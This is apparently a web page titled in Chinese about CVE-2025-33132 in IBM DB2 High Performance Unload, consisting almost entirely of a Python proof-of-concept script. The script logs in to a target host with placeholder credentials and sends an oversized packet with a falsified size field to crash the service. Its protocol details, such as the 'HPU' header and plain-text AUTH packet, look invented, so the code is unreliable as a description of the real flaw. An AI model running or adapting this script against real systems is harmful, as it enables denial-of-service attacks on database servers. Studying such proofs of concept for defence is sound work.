CVE-2025-33132 IBM DB2 High Performance Unload内存计算错误漏洞

# CVE-2025-33132 PoC - IBM DB2 High Performance Unload Memory Calculation Error # This PoC demonstrates triggering a crash through malformed data input # Note: Actual exploitation requires valid credentials for IBM DB2 HPU import socket import struct import sys def create_malformed_packet(): """Create a packet that triggers size calculation error""" # Protocol header header = b'HPU' # HPU signature version = struct.pack('B', 6) # Version 6.x # Malformed data block with incorrect size field # The size field is intentionally miscalculated data_payload = b'A' * 10000 # Large payload # Incorrect size calculation (smaller than actual data) incorrect_size = struct.pack('<I', 100) # Size = 100, but actual data is much larger packet = header + version + incorrect_size + data_payload return packet def exploit_cve_2025_33132(target_ip, target_port=50000): """ Exploit CVE-2025-33132 Target: IBM DB2 High Performance Unload Effect: Denial of Service (program crash) """ try: print(f'[*] Connecting to {target_ip}:{target_port}') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Step 1: Authenticate with valid credentials print('[*] Authenticating with valid user credentials...') auth_packet = b'AUTH' + b'username\x00password\x00' sock.send(auth_packet) response = sock.recv(1024) if b'OK' not in response: print('[-] Authentication failed') return False print('[+] Authentication successful') # Step 2: Send malformed data to trigger size calculation error print('[*] Sending malformed packet to trigger vulnerability...') exploit_packet = create_malformed_packet() sock.send(exploit_packet) # Step 3: Observe crash condition print('[*] Waiting for response...') sock.settimeout(5) try: response = sock.recv(1024) print(f'[-] Unexpected response: {response}') except socket.timeout: print('[+] Target appears to be unresponsive (crash triggered)') return True return False except Exception as e: print(f'[-] Error: {e}') return False finally: sock.close() if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_ip> <port>') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) print('CVE-2025-33132 PoC - IBM DB2 HPU Memory Calculation Error') exploit_cve_2025_33132(target, port)